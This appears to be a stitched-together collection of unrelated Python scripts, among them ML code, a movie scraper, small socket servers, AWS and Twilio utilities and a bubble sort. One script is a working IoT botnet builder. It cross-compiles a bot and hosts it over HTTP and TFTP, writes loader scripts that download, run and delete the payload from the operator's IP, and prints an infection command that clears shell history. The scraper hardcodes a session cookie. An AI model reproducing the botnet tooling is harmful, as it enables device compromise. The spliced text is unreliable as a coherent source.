                branch = self.env['res.branch'].search([('id', '=', values.get('branch_id'))], limit=1)

                values['code'] = '%s-%s' % (
                "{0:0=2d}".format(branch.index),
                "{0:0=2d}".format(values['index']))
                values['short_code'] = '%s' % ("{0:0=2d}".format(values['index']))
                parent = branch.related_partner
                values['parent_id'] = parent.id

                if values['type'] == 'member':
                    values['employee'] = False
                    values['customer'] = True

            partner = super(LoanClient, self).create(values)
            user = self.env['res.users'].sudo().create({
                'partner_id': partner.id,
                'login': values.get('email'),
                'groups_id': group,
                'company_ids': [partner.parent_id.company_id.id],
                'company_id': parent.company_id.id
            })
            self.write({'user_id':user.id})

            return partner
        else:
            return super(LoanClient, self).create(values)


import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import sys
import time

class LogisticRegression(object):
    def __init__(self, n_epochs=1, learning_rate=1, d=1, sigma=1, prior=True, verbose=False, random_state=1138):
        self.n_epochs = n_epochs
        self.learning_rate = learning_rate
        self.d = d
        self.sigma = sigma
        self.prior = prior
        self.verbose = verbose
        self.random_state = random_state

    def fit(self, X, y, X_test=None, y_test=None):

        np.random.seed(self.random_state)

        X = np.hstack((np.ones((X.shape[0], 1)), X))
        if y_test is not None:
            X_test = np.hstack((np.ones((X_test.shape[0], 1)), X_test))
        n, d = X.shape

        w = np.zeros(d)

        #self.learning_rate = [0.01, 0.005, 0.0025]
        training_error = []
        training_loss = []
        test_error = []
        test_loss = []

        t = 1
        eta = self.learning_rate/(1 + (self.learning_rate/self.d)*t)
        for j in range(self.n_epochs):
            #print(X.shape)
            #print(w.shape)
            # shuffle data
            s = np.arange(n)
            np.random.shuffle(s)
            X = X[s]
            y = y[s]
            for i in range(n):
                if self.prior:
                    grad = (2/self.sigma**2)*w - n*X[i]*y[i]*(1/(1 + np.exp(y[i]*np.dot(w, X[i]))))
                else:
                    grad = - n*X[i]*y[i]*(1/(1 + np.exp(y[i]*np.dot(w, X[i]))))
                w = w - eta*grad
                training_l = self.evaluate_loss(X, y, w)
                training_e = self.evaluate_error(X, y, w)
                if y_test is not None:
                    test_l = self.evaluate_loss(X_test, y_test, w)
                    test_e = self.evaluate_error(X_test, y_test, w)
                    #print('weights: ', w, 'training loss: ', training_l, 'test loss: ', test_l)
                    if self.verbose == True:
                        print('epoch: {}, t: {}, weights: {}, training_loss: {}, test_loss: {}'.format(j, t, w, training_l, test_l), end='\r')
                        sys.stdout.flush()
                    training_loss.append(training_l)
                    training_error.append(training_e)
                    test_loss.append(test_l)
                    test_error.append(test_e)
                else:
                    training_loss.append(training_l)
                    training_error.append(training_e)
                    #print('weights: ', w, 'training loss: ', training_l)
                    if self.verbose == True:
                        print('epoch: {}, t: {}, weights: {}, training_loss: {}'.format(j, t, w, training_l),end='\r')
                        sys.stdout.flush()
                t += 1

        self.weights_ = w
        self.training_error_ = training_error
        self.training_loss_ = training_loss
        if y_test is not None:
            self.test_error_ = test_error
            self.test_loss_ = test_loss

        return self

    def evaluate_loss(self, X, y, w):

        #X = np.hstack((np.ones((X.shape[0], 1)), X))
        #print(X.shape)
        #print(y.shape)
        #print(w.shape)
        if self.prior == True:
            loss = (1/self.sigma**2)*np.dot(w, w)
        else:
            loss = 0

        for i in range(X.shape[0]):
            loss += np.log(1 + np.exp(-y[i]*np.dot(w, X[i])))

        return loss

    def evaluate_error(self, X, y, w):
        error = 0
        for i in range(X.shape[0]):
            xbeta = np.dot(w, X[i])
            y_hat = 1/(1 + np.exp(-xbeta))
            if y_hat >= 0.5:
                y_pred = 1
            else:
                y_pred = -1

            if y_pred != y[i]:
                error += 1

        return error/X.shape[0]

if __name__ == "__main__":
	print('Loading Data...', end='')
	train = pd.read_csv('bank-note/train.csv', header=None)
	test = pd.read_csv('bank-note/test.csv', header=None)
	train[4] = train[4].apply(lambda x: -1 if x==0 else 1)
	test[4] = test[4].apply(lambda x: -1 if x==0 else 1)
	X_train = train[[0, 1, 2, 3]].values
	y_train = train[4].values
	X_test = test[[0, 1, 2, 3]].values
	y_test = test[4].values
	print('Completed')

	print('Map estimation...', end='')
	sigma_list = [0.01,0.1,0.5,1,3,5,10,100]
	rate_list = [0.0000001, 0.00001, 0.00001, 0.00001, 0.00001, 0.00001, 0.00001, 0.00001]
	#sigma_list = [0.01]
	training_loss_list=[]
	training_error_list=[]
	test_loss_list=[]
	test_error_list=[]
	for s, r in zip(sigma_list, rate_list):
		print('-'*50)
		print('sigma: ', s)
		start_time = time.time()
		MAP = LogisticRegression(n_epochs=100, learning_rate=r, d=1, sigma=s, prior=True, verbose=False).fit(X_train, y_train, X_test, y_test)
		end_time = time.time()
		print('Running time: ', end_time - start_time)
		training_loss_list.append(MAP.training_loss_)
		training_error_list.append(MAP.training_error_)
		test_loss_list.append(MAP.test_loss_)
		test_error_list.append(MAP.test_error_)

	fig, ax = plt.subplots(2, 2, figsize=(14, 8))
	for i in range(len(sigma_list)):
		ax[0][0].plot(range(len(training_loss_list[i])), training_loss_list[i])
		ax[0][0].set_xlabel('No. of Updates')
		ax[0][0].set_ylabel('Training Loss')
		ax[0][1].plot(range(len(test_loss_list[i])), test_loss_list[i])
		ax[0][1].set_xlabel('No. of Updates')
		ax[0][1].set_ylabel('Test Loss')
		ax[1][0].plot(range(len(training_error_list[i])), training_error_list[i])
		ax[1][0].set_xlabel('No. of Updates')
		ax[1][0].set_ylabel('Training Error')
		ax[1][1].plot(range(len(test_error_list[i])), test_error_list[i], label=sigma_list[i])
		ax[1][1].set_xlabel('No. of Updates')
		ax[1][1].set_ylabel('Test Error')

	plt.legend()
	plt.savefig('map.png')
	#plt.show()

	print('sigma \t training_error \t test_error')
	for i in range(len(sigma_list)):
		print(sigma_list[i], '\t', training_error_list[i][-1], '\t', test_error_list[i][-1])

	print('ML estimation...')
	sigma_list = [0.01]
	training_loss_list=[]
	training_error_list=[]
	test_loss_list=[]
	test_error_list=[]
	for s in sigma_list:
		print('-'*50)
		print('sigma: ', s)
		start_time = time.time()
		#ML = LogisticRegression(n_epochs=100, learning_rate=0.0000000001, d=1, sigma=s, prior=False, verbose=False).fit(X_train, y_train, X_test, y_test)
		ML = LogisticRegression(n_epochs=100, learning_rate=0.00001, d=1, sigma=s, prior=False, verbose=True).fit(X_train, y_train, X_test, y_test)
		end_time = time.time()
		print('Running time: ', end_time - start_time)
		training_loss_list.append(ML.training_loss_)
		training_error_list.append(ML.training_error_)
		test_loss_list.append(ML.test_loss_)
		test_error_list.append(ML.test_error_)

	fig, ax = plt.subplots(2, 2, figsize=(14, 8))
	for i in range(len(sigma_list)):
		ax[0][0].plot(range(len(training_loss_list[i])), training_loss_list[i])
		ax[0][0].set_xlabel('No. of Updates')
		ax[0][0].set_ylabel('Training Loss')
		ax[0][1].plot(range(len(test_loss_list[i])), test_loss_list[i])
		ax[0][1].set_xlabel('No. of Updates')
		ax[0][1].set_ylabel('Test Loss')
		ax[1][0].plot(range(len(training_error_list[i])), training_error_list[i])
		ax[1][0].set_xlabel('No. of Updates')
		ax[1][0].set_ylabel('Training Error')
		ax[1][1].plot(range(len(test_error_list[i])), test_error_list[i], label=sigma_list[i])
		ax[1][1].set_xlabel('No. of Updates')
		ax[1][1].set_ylabel('Test Error')

	plt.legend()
	plt.savefig('ml.png')
	#plt.show()

	print('sigma \t training_error \t test_error')
	for i in range(len(sigma_list)):
		print(sigma_list[i], '\t', training_error_list[i][-1], '\t', test_error_list[i][-1])


import os

cur_path = os.path.dirname(__file__) # 取得目前路徑
sample_tree = os.walk(cur_path)
keyword = "shutil"

for dirname,subdir,files in sample_tree:
   allfiles = []
   for file in files:  # 取得所有 .py .txt 檔，存入 allfiles 串列中
      ext = file.split('.')[-1]
      if ext == "py" or ext == "txt":
         allfiles.append(dirname + '/' + file)

   if len(allfiles)>0:
      for file in allfiles:  # 讀取 allfiles 串列所有檔案
         try:
            fp = open(file, "r", encoding = 'UTF-8')
            article = fp.readlines()
            fp.close
            line = 0
            for row in article:
               line += 1
               if keyword in row:
                   print("在 {}，第 {} 列找到「{}」。".format(file, line, keyword))
         except:
            print("{} 無法讀取..." .format(file))

print("完成...")


from week01.work1.get_movie_url import get_movie_url
import requests
import lxml.etree
from bs4 import BeautifulSoup as bs
import pandas as pd
def get_movie_info():
    #存放电影信息
    movies_info=[]
    urls=get_movie_url()
    # 设置头部信息，猫眼网站设置了cookie校验，需要添加cookie方可访问，先登录猫眼，然后从登录请求的信息中获取cookie
    user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36'
    cookie = "__mta=20305287.1595735654322.1595735969048.1595736037802.6; uuid=cf95963e8ce14f2daee3.1595735653.1.0.0; mtcdn=K; userTicket=OTbohovwolOtZBWicWczYxfaVSSOITiIyAcdPrsP; n=lbx666865329; lsu=; SERV=maoyan; LREF=aHR0cHM6Ly9tYW95YW4uY29tL3Bhc3Nwb3J0L2xvZ2luP3JlZGlyZWN0PSUyRmZpbG1zJTNGc2hvd1R5cGUlM0Qz; passport.sid=4raZf1vgENyx6pVclrSA0dVXOK7e8_mK; passport.sid.sig=PJPHj2DOXHYGo9US-EVvRyxbOjw"
    header = {}
    header['user-agent'] = user_agent
    header['cookie'] = cookie
    # 请求网站，获取信息
    for url in urls:
        response = requests.get(url, headers=header)
        bs_info = bs(response.text, 'html.parser')
        # xml化处理
        selector = lxml.etree.HTML(response.text)
        # 电影名称
        movie_name = selector.xpath('//h1/text()')
        print(f'电影名称: {movie_name}')
        # 类型
        movie_type = selector.xpath('//li[@class="ellipsis"][1]/a/text()')
        print(f'电影类型: {movie_type}')
        # 上映时间
        plan_date = selector.xpath('//li[@class="ellipsis"][3]/text()')
        print(f'上映时间：{plan_date}')
        infolist=[movie_name,movie_type,plan_date]
        movies_info.append(infolist)
    return movies_info
    #movie1 = pd.DataFrame(data=movies_info)

movies = pd.DataFrame(data = get_movie_info())
movies.to_csv('./movie1.csv', encoding='utf8', index=False, header=False)


import socket
import os

PORT = 9065

def process(req):
 #   if req == 'look':
 #      return os.getcwd()
    if req == 'look':
        return '; '.join(os.listdir())
 #  elif req == 'touch': #sozdanie file
 #      return '; '.join(os.touch())
    elif req == 'mkdir': #sozdanie papka
        name=conn.recv(1024).decode()
        try:
        	print(name)
        	os.mkdir(name)
        	return "OK"
        except:
            return "Fail"
 #delite papka
    elif req == 'deldir':
        name1=conn.recv(1024).decode()
        try:
            print(name1)
            os.rmdir(name1)
            return "OK"
        except:
            return "Fail"
    else:
        return 'bad request'

sock = socket.socket()
sock.bind(('', PORT))
sock.listen()

while True:
    print("Port:",PORT)
    conn, addr = sock.accept()
    print(addr)

    request = conn.recv(1024).decode()
    print(request)
    response = process(request)
    conn.send(response.encode())

sock.close()


import socket
import sys
import car_sample

# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect the socket to the port where the server is listening
ip_address = "127.0.0.1"
socket_port = 3003
server_address = (ip_address,socket_port)
sock.connect(server_address)

try:
    # Look for the response
    message = "00122223333"
    amount_received = 0
    amount_expected = len(message)

    while True:
        data = sock.recv(16)
        amount_received += len(data)
        print(data.decode())

        if data == 'W':
            car_sample.calis()
        elif data == 'A':
            car_sample.dur()
        elif data == 'D':
            car_sample.dur()
        elif data == 'S':
            car_sample.dur()
        else:
            print ("Farkli veri")

finally:
    sock.close()


from __future__ import division
# from __future__ import print_function
from numpy import *
from matplotlib.pyplot import *
#from sklearn import *
#import sklearn.metrics.pairwise as simi
#import scipy.spatial.distance as scd
import scipy.sparse as sps

class concavefeature:

	def __init__(self, X, p = 0.5, weighted = False):

		self.p = p
		self.num_sample = X.shape[0]
		self.X = X
		if sps.issparse(X):
			self.sparse = True
		else:
			self.sparse = False
		if not self.sparse:
			# normalize
			xmin = amin(X, axis = 0)
			id_neg = where(xmin < 0)[0]
			if len(id_neg) > 0:
				for i in id_neg:
					X[:, i] -= xmin[i]
			# remove zero features
			self.w = sum(X, axis = 0)
			id_zero = where(self.w == 0)
			if len(id_zero) > 0:
				X = delete(X, id_zero, 1)
				self.w = delete(self.w, id_zero)
		# weighted
		if weighted:
			self.w *= 0.2*len(self.w)/sum(self.w)
		else:
			self.w = 1.0

	def evaluate(self, A):

		if self.sparse:
			nn_obj = array(self.X[A, :].sum(0))[0]
		else:
			nn_obj = sum(self.X[A, :], 0)
		obj = sum(self.w * power(nn_obj, self.p))
		return nn_obj, obj

	def evaluate_incremental(self, nn_obj, a):

		nn_obj = nn_obj + self.X[a, :]
		if self.sparse:
			nn_obj = array(nn_obj)[0]
		obj = sum(self.w * power(nn_obj, self.p))
		return nn_obj, obj

	def evaluate_decremental(self, nn_obj, a, A = []):

		nn_obj = nn_obj - self.X[a, :]
		if self.sparse:
			nn_obj = array(nn_obj)[0]
		obj = sum(self.w * power(nn_obj, self.p))
		return nn_obj, obj

	def evaluateV(self):

		nn_obj, obj = self.evaluate(range(self.num_sample))
		return nn_obj, obj


import subprocess, sys

if len(sys.argv[2]) != 0:
    ip = sys.argv[2]
else:
    print("\x1b[0;31mIncorrect Usage!")
    print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
    exit(1)

bot = sys.argv[1]

yourafag = raw_input("Get arch's? Y/n:")
if yourafag.lower() == "y":
    get_arch = True
else:
    get_arch = False

compileas = ["salvianetis.mips",]

getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',]

ccs = ["cross-compiler-mips",]

def run(cmd):
    subprocess.call(cmd, shell=True)

if get_arch == True:
    run("rm -rf cross-compiler-*")

    print("Downloading Architectures")

    for arch in getarch:
        run("wget " + arch + " --no-check-certificate >> /dev/null")
        run("tar -xvf *tar.bz2")
        run("rm -rf *tar.bz2")

    print("Cross Compilers Downloaded...")

num = 0
for cc in ccs:
    arch = cc.split("-")[2]
    run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
    num += 1

print("Cross Compiling Done!")
print("Setting up your apache2 and tftp")

for i in compileas:
    run("cp " + i + " /var/www/html")
    run("mv " + i + " /tftpboot")

run('echo -e "#!/bin/bash" > /tftpboot/salviat4.sh')

run('echo -e "ulimit -n 1024" >> /tftpboot/salviat4.sh')

run('echo -e "cp /bin/busybox /tmp/" >> /tftpboot/salviat4.sh')

run('echo -e "#!/bin/bash" > /var/www/html/salviaw4.sh')

for i in compileas:
    run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/salviaw4.sh')
    run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /tftpboot/salviat4.sh')

print("\x1b[0;32mCOMPILED TO DEFINE NETIS\x1b[0m")
print("\x1b[0;32mYour link: cd /tmp; wget http://" + ip + "/salviaw5.sh;chmod 777 salviaw.sh;sh salviaw.sh;tftp " + ip + " -c get salviat5.sh;chmod 777 salviat5.sh;sh salviat5.sh;rm -rf salviaw5.sh salviat5.sh;history -c\x1b[0m")


#works!

import os
from dotenv import load_dotenv

from twilio.rest import Client

# Your Account Sid and Auth Token from twilio.com/console
# and set the environment variables. See http://twil.io/secure
load_dotenv()

account_sid = os.getenv('account_sid')
auth_token = os.getenv('auth_token')

# print(os.getenv('account_sid'))
# print(os.getenv('auth_token'))
#'+15183802912'

origin = os.getenv('twilio_number')
destination = '+15188593257'

corpus = 'Hello fart! I am sending you SMS from a computer program I wrote.  Replies don''t go anywhere yet. I love you!'

client = Client(account_sid,auth_token)

message = client.messages \
                .create(
                     body=corpus,
                     from_=origin,
                     to=destination
                 )

print('\nMessage with body "{}" sent to {}\nMessage ID: {}\n'.format(corpus,destination,message.sid))


import boto3
import smtplib
import base64
import csv

profile="LG_Dev"

def list_ec2():
     response = ec2.describe_instances()
     instances = [instance['Instances'] for instance in response['Reservations']]
     return instances

def Name(instance_ID):
    Name = "None"
    response = ec2.describe_tags(
    Filters=[
        {
           'Name': 'resource-id',
           'Values': [
                        instance_ID,
                     ],
        },
         ],
   )
    for tag in response["Tags"]:
      if (tag["Key"] == "Name"):
          Name = tag["Value"]
    return Name

with open('/var/lib/jenkins/workspace/MyPipeLine/ec2_validation.csv', 'w') as csvfile:
   fieldnames = ['Account_ID', 'Instance_ID', 'Instance_State', 'PrivateDnsName', 'InstanceType', 'Name', 'Security_Groups']
   ec2writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
   ec2writer.writeheader()
   sess = boto3.session.Session(profile_name=profile)
   Account_ID = sess.client('sts').get_caller_identity().get('Account')
   ec2 = sess.client('ec2')
   instances = list_ec2()
   for index in range(len(instances)):
           print("Instance_ID = %s" % instances[index][0]['InstanceId'])
           print("Instance_State = %s" % instances[index][0]['State']['Name'])
           print("InstanceType %s" % instances[index][0]['InstanceType'])
           print("FriendlyName %s" % instances[index][0]['Tags'])

           #print("Friendly_Name = %s" % friendlyname(instances[index][0]['InstanceId']))
           sg_list = []
           try:
               for sg in  instances[index][0]['SecurityGroups']:
                   sg_list.append(sg['GroupName'])

                   ec2writer.writerow({'Account_ID':  int(Account_ID),
                                  'Instance_ID': instances[index][0]['InstanceId'],
                                  'Instance_State': instances[index][0]['State']['Name'],
                                  'PrivateDnsName': instances[index][0]['PrivateDnsName'],
                                  'InstanceType': instances[index][0]['InstanceType'],
                                  'Name': Name(instances[index][0]['InstanceId']),
                                  'Security_Groups': sg_list })
           except IndexError:
               pass


from flask import Flask, request
import webbrowser

app = Flask(__name__)

@app.route('/')
def index():
    file = open('./template/index.html', "r").read()
    return file

@app.route('/viewDplicates', methods = ['GET','POST'])
def run_app():
    folder_name = request.args.get('folderName')
    from subprocess import call
    call(["python", f"cleanUP.py {folder_name}"])
    file = open('result.html', "r").read()
    return file

webbrowser.open("http://localhost")
app.run(host='0.0.0.0', port=80)


# for i <-- 1 to length[A]
# 	do for j <-- length[A] dowto i+1
# 		do if A[j] < A[j-1]
# 			then swap(A[j] <-> A[j-1])

import random

def bubble_sort(A):
	for i in range(0,len(A)):
		for j in reversed(range(i+1, len(A))):
			if A[j] < A[j-1]:
				tmp = A[j-1]
				A[j-1] = A[j]
				A[j] = tmp

A = [random.randint(1, 1000) for x in xrange(0,random.randint(0, 10))]
bubble_sort(A)